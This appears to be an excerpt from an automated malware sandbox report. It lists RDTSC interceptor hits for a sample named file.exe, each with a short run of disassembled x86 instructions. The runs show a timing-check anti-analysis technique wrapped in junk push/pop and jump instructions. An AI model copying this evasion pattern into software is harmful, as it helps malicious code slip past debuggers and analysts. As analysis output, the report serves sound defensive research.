Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1C9C7 second address: A1C9CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1CDF2 second address: A1CE3F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007FD5E8DE1556h 0x00000009 ja 00007FD5E8DE1556h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 nop 0x00000013 sbb dl, 00000014h 0x00000016 lea eax, dword ptr [ebp+1247F79Fh] 0x0000001c jmp 00007FD5E8DE155Eh 0x00000021 nop 0x00000022 pushad 0x00000023 jmp 00007FD5E8DE1562h 0x00000028 push edx 0x00000029 pushad 0x0000002a popad 0x0000002b pop edx 0x0000002c popad 0x0000002d push eax 0x0000002e push eax 0x0000002f push eax 0x00000030 push edx 0x00000031 jnc 00007FD5E8DE1556h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1CE3F second address: A1CE95 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD5E873B156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b nop 0x0000000c call 00007FD5E873B165h 0x00000011 mov edx, ebx 0x00000013 pop ecx 0x00000014 lea eax, dword ptr [ebp+1247F75Bh] 0x0000001a push 00000000h 0x0000001c push ebx 0x0000001d call 00007FD5E873B158h 0x00000022 pop ebx 0x00000023 mov dword ptr [esp+04h], ebx 0x00000027 add dword ptr [esp+04h], 00000016h 0x0000002f inc ebx 0x00000030 push ebx 0x00000031 ret 0x00000032 pop ebx 0x00000033 ret 0x00000034 adc dh, FFFFFFF9h 0x00000037 push eax 0x00000038 push esi 0x00000039 pushad 0x0000003a ja 00007FD5E873B156h 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1CE95 second address: 9FA050 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push eax 0x0000000c call 00007FD5E8DE1558h 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 add dword ptr [esp+04h], 00000018h 0x0000001e inc eax 0x0000001f push eax 0x00000020 ret 0x00000021 pop eax 0x00000022 ret 0x00000023 mov ecx, 2A98A5C1h 0x00000028 call dword ptr [ebp+122D3619h] 0x0000002e pushad 0x0000002f jmp 00007FD5E8DE1569h 0x00000034 jmp 00007FD5E8DE1565h 0x00000039 jmp 00007FD5E8DE1561h 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5666D second address: A56692 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FD5E873B161h 0x0000000b jmp 00007FD5E873B15Eh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A56692 second address: A56696 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A56ACB second address: A56AD5 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FD5E873B156h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A56C6E second address: A56C81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnl 00007FD5E8DE155Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A56C81 second address: A56C98 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5E873B162h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A56C98 second address: A56CC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 js 00007FD5E8DE1556h 0x0000000c js 00007FD5E8DE1556h 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FD5E8DE1562h 0x0000001e push esi 0x0000001f pop esi 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A56CC5 second address: A56CCB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A56CCB second address: A56CD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A56CD6 second address: A56CE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD5E873B15Ah 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A60067 second address: A6006F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6006F second address: A60073 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A60073 second address: A60082 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FD5E8DE1556h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69B44 second address: A69B6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FD5E873B156h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FD5E873B167h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69B6B second address: A69B8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007FD5E8DE1591h 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f jmp 00007FD5E8DE1562h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69B8C second address: A69B90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6844B second address: A68451 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A68A1C second address: A68A36 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5E873B15Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jg 00007FD5E873B156h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A68B87 second address: A68BA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD5E8DE1567h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1C889 second address: A1C88F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1C88F second address: A1C8A1 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD5E8DE1556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1C8A1 second address: A1C8A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1C971 second address: A1C9AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007FD5E8DE1566h 0x0000000d nop 0x0000000e mov dword ptr [ebp+122D393Dh], ecx 0x00000014 push 0000001Eh 0x00000016 mov ecx, dword ptr [ebp+122D596Dh] 0x0000001c nop 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FD5E8DE155Bh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A68CEF second address: A68CF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A68CF3 second address: A68D0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ja 00007FD5E8DE1561h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A68D0C second address: A68D1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FD5E873B156h 0x0000000a jne 00007FD5E873B156h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A68E74 second address: A68E7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A68E7A second address: A68E7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A68E7F second address: A68E86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A68E86 second address: A68E8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69864 second address: A6986A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6986A second address: A6986E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6CE42 second address: A6CE5A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jns 00007FD5E8DE1556h 0x0000000d pop edi 0x0000000e popad 0x0000000f push edi 0x00000010 js 00007FD5E8DE1562h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6CE5A second address: A6CE60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6CE60 second address: A6CE67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6D105 second address: A6D119 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FD5E873B15Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6D283 second address: A6D287 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6D287 second address: A6D28D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6D28D second address: A6D2B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD5E8DE1561h 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jnp 00007FD5E8DE1556h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6D580 second address: A6D58A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6D58A second address: A6D5D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5E8DE1564h 0x00000007 jmp 00007FD5E8DE1567h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FD5E8DE1567h 0x00000017 push eax 0x00000018 pop eax 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6D5D6 second address: A6D632 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD5E873B156h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnp 00007FD5E873B16Eh 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007FD5E873B166h 0x00000019 push ecx 0x0000001a jmp 00007FD5E873B167h 0x0000001f pop ecx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FD5E873B167h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A709CA second address: A709E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5E8DE155Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jnc 00007FD5E8DE1556h 0x00000010 push edi 0x00000011 pop edi 0x00000012 jg 00007FD5E8DE1556h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A709E9 second address: A70A01 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007FD5E873B15Ah 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A70255 second address: A70262 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7039E second address: A703EA instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD5E873B156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b jmp 00007FD5E873B165h 0x00000010 pop esi 0x00000011 jp 00007FD5E873B15Ah 0x00000017 popad 0x00000018 js 00007FD5E873B184h 0x0000001e jmp 00007FD5E873B166h 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A703EA second address: A703F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FD5E8DE1556h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A706DF second address: A706E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A706E7 second address: A706EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A706EB second address: A706EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A706EF second address: A706FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A706FA second address: A70700 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A77FEB second address: A7800D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnp 00007FD5E8DE1556h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f jmp 00007FD5E8DE1563h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A78577 second address: A7857D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7857D second address: A78582 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A78582 second address: A785A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007FD5E873B156h 0x00000009 jmp 00007FD5E873B166h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A785A6 second address: A785AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A785AC second address: A785B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A78B60 second address: A78B7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 ja 00007FD5E8DE1556h 0x0000000e popad 0x0000000f pop edx 0x00000010 push eax 0x00000011 push esi 0x00000012 ja 00007FD5E8DE1556h 0x00000018 pop esi 0x00000019 push esi 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A790AB second address: A790C6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jg 00007FD5E873B162h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A793A2 second address: A793BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop esi 0x00000008 pushad 0x00000009 je 00007FD5E8DE1558h 0x0000000f push edi 0x00000010 push edi 0x00000011 pop edi 0x00000012 pop edi 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7E132 second address: A7E15C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD5E873B156h 0x00000008 jnc 00007FD5E873B156h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jnl 00007FD5E873B158h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FD5E873B15Ch 0x0000001e push ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7E15C second address: A7E167 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FD5E8DE1556h 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A81395 second address: A813A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FD5E873B15Dh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A81513 second address: A81518 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A817FC second address: A81839 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FD5E873B169h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FD5E873B169h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A81839 second address: A81851 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD5E8DE1556h 0x00000008 jmp 00007FD5E8DE155Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A819B9 second address: A819BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A81D3B second address: A81D7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FD5E8DE155Bh 0x0000000f popad 0x00000010 push edx 0x00000011 jmp 00007FD5E8DE1562h 0x00000016 jno 00007FD5E8DE1556h 0x0000001c pop edx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 jmp 00007FD5E8DE155Bh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A81EEC second address: A81EF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A81EF0 second address: A81EF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A81EF6 second address: A81EFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A81EFC second address: A81F00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A83889 second address: A8388F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8388F second address: A838A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD5E8DE155Eh 0x00000009 push ecx 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A838A6 second address: A838C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FD5E873B164h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A838C3 second address: A838C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8B4AE second address: A8B4B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A89678 second address: A8967E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A89B7D second address: A89B84 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A89B84 second address: A89B8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A89B8A second address: A89B96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A89CCE second address: A89CD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A89CD4 second address: A89CD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A89CD8 second address: A89CE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FD5E8DE1556h 0x0000000a jo 00007FD5E8DE1556h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A89E49 second address: A89E51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A89E51 second address: A89E64 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD5E8DE1556h 0x00000008 js 00007FD5E8DE1556h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A89E64 second address: A89E76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FD5E873B156h 0x0000000a pop edx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
